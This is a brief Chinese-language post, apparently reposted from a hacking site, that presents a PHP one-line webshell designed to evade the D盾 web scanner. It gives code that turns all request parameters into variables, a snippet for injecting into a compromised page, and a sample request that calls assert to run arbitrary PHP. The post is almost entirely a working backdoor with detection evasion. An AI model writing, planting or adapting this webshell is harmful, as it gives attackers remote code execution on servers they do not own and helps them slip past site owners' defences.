繞過D盾的php一句話

d_dun.php

<?php

$a = '小狗狗你好啊';
$b = '小盾盾你好啊';
foreach ($_REQUEST as $key => $value) {
    $$key = $value;
}

注入頁插入：

<?php

include 'd_dun.php';
$b( $a );

注入頁調用：

?b=assert&a=phpinfo()

轉載自：

https://www.0dayhack.com/post-862.html